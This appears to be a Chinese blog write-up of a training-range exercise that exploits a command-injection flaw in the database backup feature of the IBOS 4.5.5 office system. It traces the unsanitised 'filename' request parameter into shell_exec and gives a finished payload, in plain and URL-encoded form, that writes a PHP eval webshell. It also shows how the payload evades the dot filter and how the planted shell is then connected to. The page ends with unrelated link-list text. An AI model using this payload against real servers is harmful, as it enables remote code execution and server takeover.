命令执行

命令执行相关函数

  • system()

能够将字符串作为OS命令执行,自带输出功能。

  • exec()

将字符串作为OS命令执行,需要输出

  • shell_exec()

将字符串作为OS命令执行,需要输出

  • passthru()

能够将字符串作为OS命令执行,自带输出

  • popen()

将字符串作为OS命令执行,但是该函数返回一个文件指针。

  • 反引号``

反引号内的字符串也会被解析成OS命令。

靶场

本地测试

本期主角:ibos(一款协同办公系统)

版本:4.5.5

安装:

安装完成之后:长得跟phpstudy“有点像”,就是在PHP study的基础上加了一套cms。

后台:

审计

对该系统的源码进行审计。

发现其对重要代码进行了加密:

上传到在线解密网站看看使用的加密方法:

加密方式: zend|53。

知道了加密方式之后就可以对其进行解密。

Zend Guard是目前市面上最成熟的PHP源码加密产品,只要PHP加载了这个第三方加密插件,那么就可以直接运行加密后的源码。

这类加密会在开头写Zend.

解密之后的代码是不能直接替代原本文件运行的,所以解密后的代码仅仅是静态审计

解密之后全局搜索命令执行的函数,找到一处可疑的地方。

具体代码是这一块:

$config = @include (PATH_ROOT . "./system/config/config.php");if (empty($config)) {throw new Exception(application\core\utils\Ibos::Lang("Config not found", "error"));
}
else {$db = $config["db"];
}
$query = $command->setText("SHOW VARIABLES LIKE 'basedir'")->queryRow();
$mysqlBase = $query["Value"];
$mysqlBin = ($mysqlBase == "/" ? "" : addslashes($mysqlBase) . "bin/");
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);

shell_exec()函数:

shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);

我们需要找到我们可以控制的变量。

分析:

$mysqlBin是从数据库中查询出来的值;

$db经过追踪是从config.php文件中取得的关于数据库配置的值。

这两个变量都不是我们可以控制的。

那么还剩下一个$file是干什么的呢?

追踪restore方法没有找到一下成果

$file暂时在这里失去了线索。

但是,我们在全局搜索shell_exec()函数时出现了两次调用。

我们可以看看另一个文件里的shell_exec()函数。

shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");

这里出现了mysqldump,这是一个MySQL自带的备份工具。

命令格式
mysqldump [选项] 数据库名 [表名] > 脚本名

mysqldump [选项] --数据库名 [选项 表名] > 脚本名

mysqldump [选项] --all-databases [选项] > 脚本名

我们猜测这里可能后台提供的一个数据库备份功能。

后台是真的存在数据库备份功能的。

最后一个参数$dumpFile就是脚本名,就是最后导出的文件名。

我们可以控制的变量也就是它。

追溯一下它的来源:

  1. $dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . “/” . $backupFileName . “.sql”;

  2. $backupFileName = self::BACKUP_DIR . “/” . core\utils\str_replace(array("/", “\”, “.”, “’”), “”, $fileName);

  3. $fileName = core\utils\Env::getRequest(“filename”);

最后可以判断,$dumpFile跟getRequest(“filename”)是有关的。

也就是说是跟请求里的参数有关的。

我们可以尝试抓个包试试看有没有filename参数:
在后台备份数据库这里抓包:

请求包里是可以看到filename参数的。

同时在服务器上生成了一个sql备份文件:

这里我们就可以思考开始利用shell_exec()在服务器上生成php文件了。

shell_exec()执行的是系统命令,可以利用管道符进行多条命令执行。

令filename参数等于:

111&echo "<?php eval($_REQUEST[8])?>" >777.php&111

&管道符不管前面执行的成不成功,都会执行&后面的。

那么

shell_exec("前面是备份的语句:mysqldump ------------ > 111 & echo "<?php eval(REQUEST[8])?>" > 777.php")&111

但是前面$backupFileName中把filename中的/ \ .替换为空了。

这里需要使用一个骚方法:切割环境变量来获取点。

set:查看环境变量

取PATHEXT变量里的值,从第0个位置开始,取1个值。结果就是点.

那么我们就可以这样写:

111&echo "<?php eval($_REQUEST[8])?>" > 777%PATHEXT:~0,1%php&111

也就是最终的payload。

原数据包中是通过POST传参的,POST传参中&符号是连接多个参数,这里出现&符号是不行的。

我们把payload进行一次url编码:
111%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22 %3E 777%25PATHEXT%3A%7E0%2C1%25php%26111

成功写入文件:

正常情况下POST中不接受url编码,但是可以接受url编码的POST传参也不在少数。如果这里不接受url编码,我们可以在POST请求中删除filename参数,然后将filename参数写到url中。

本地测试成功。

靶场:

这是将filename参数写到了url中。

连接菜刀:

拿到flag。Security的值。

[zkaq靶场]命令执行--IBOS协同办公系统通杀漏洞相关推荐

  1. jsp2022326税务税收协同办公系统

    税收信息化是当前税收管理研究的重点,在进行税务管理工作的过程中,采用传统方式进行单纯文档记录工作,一旦税收数据庞大,出错率与花费时间将会大大增加.毋庸置疑,构建一个完善的税收协同办公系统,对提升税务管 ...

  2. Web自定义表单工具和协同办公系统之集成(1)

    提起"协同办公",随便在百度或者Google搜索一下,就能让你看到眼花缭乱的信息,国内的各大协同办公软件厂商都在鼓吹着自己对协同的理解和自己的协同办公软件产品如何能实现协同办公管理 ...

  3. 浅谈eform自定义表单工具和协同办公系统

    浅谈eform自定义表单工具和协同办公系统 提起"协同办公",随便在百度或者Google搜索一下,就能让你看到眼花缭乱的信息,国内的各大协同办公软件厂商都在鼓吹着自己对协同的理解和 ...

  4. 电子协同办公系统,一体化移动办公平台

    为应对线下多单位日常大量的公文传输整理.各单位内的上传下达执行任务周期时间长,特推出一款电子协同办公系统,包含电子公文收发传输.执行,工作督办派发任务给相关人员后执行人员进行定期任务汇报,利用移动设备 ...

  5. OA协同办公系统,赋能企业智慧未来

    OA,作为一款协同办公管理系统软件,为现代企业信息化建设提供了可能.通过办公自动化的方式,OA系统在深化企业管理,提升企业协同办公效率与市场竞争力的同时,亦是为企业节约了大量的时间成本,有效提高了企业 ...

  6. 协同办公系统(OA系统)选型对比参考

    协同办公系统(OA系统)选型对比参考 2022年,在疫情不断干扰企事业单位正常办公的背景下,越来越多的企业开始依靠网络进行日常办公,居家办公成为一种必须.而国内的网络办公系统.工具,经过多年的发展,也 ...

  7. 国讯通用OA协同办公系统源码

    国讯通用OA协同办公系统源码 2013-12-06   [VS2008] 源码介绍: 国讯OA工作流管理实现基本功能 1.定义任意形式的工作流程 国讯OA强大的自定义功能可以满足企业对复杂工作流程的定 ...

  8. 计算机应用中同场所讲的OA代表什么,疾控中心OA协同办公系统的应用-计算机应用技术论文-计算机论文.docx...

    疾控中心OA协同办公系统的应用-计算机应用技术论文-计算机论文 --文章均为WORD文档,下载后可直接编辑使用亦可打印-- 摘 要: 办公自动化 (OA) 将新型办公方式和计算机通讯技术结合起来提供给 ...

  9. 某区“四位一体”智慧政务管理云平台协同办公系统实践案例

    一.建设背景 根据省人民政府相关要求,着力推进政府数字化转型,加快建设数字政府,要求聚焦观念转变.职能转变.流程转变和数据共享.推进政府运行数字化应用,需要建设全省统一的平台,全面推进各级政府及其部门 ...

  10. 2022年协同办公系统(OA系统)选型对比参考

    2022年协同办公系统(OA系统)选型对比参考 2022年,在疫情不断干扰企事业单位正常办公的背景下,越来越多的企业开始依靠网络进行日常办公,居家办公成为一种必须.而国内的网络办公系统.工具,经过多年 ...

最新文章

  1. Android中的Handler
  2. layui 怎么设置点击图片放大_layui等比例放大/缩小图片
  3. android 单机斗地主,单机斗地主
  4. win10 java无法运行_Win10中配置jdk之后javac无法运行
  5. yum清缓存_linux yum清除var目录下缓存的方法
  6. 恢复SQLSERVER被误删除的数据(转——收藏)
  7. Spring Boot(1) 入门、自动配置
  8. Linux常用网络指令
  9. 根据前序序列和中序序列重建二叉树
  10. 命令与征服4java攻略_《命令与征服4》全关卡任务流程攻略
  11. 虚拟机有网,主机没有网
  12. 且行且走 (8月24,25日)
  13. ssh 获取服务器文件命令,ssh读取服务器文件内容
  14. linux下使用P4(命令行)
  15. break语句的作用
  16. UVa-10082-WERTYU
  17. oracle 表分区含义和使用场合,表分区的方式
  18. 快速修改PDF文档中图片的方法
  19. 《炬丰科技-半导体工艺》化学机械抛光材料去除机理
  20. gray.shape[::-1]和gray.shape[:]表示的意思

热门文章

  1. 倒立摆c语言程序设计,清华大学倒立摆控制系统实验指导书.pdf
  2. 20dbm是多少mw
  3. Linux:一位猫奴的意外逆袭
  4. 王家林大数据资源共享
  5. Android Studio制作简易音乐盒
  6. 基于maven自动构建和部署工具-JDeploy
  7. flutter TextField删除文字后光标跑到文字末尾
  8. KGB知识图谱完善保险行业的知识应用体系
  9. 常见的几种生命周期模型及其适用范围
  10. PV操作经典例题——和尚打水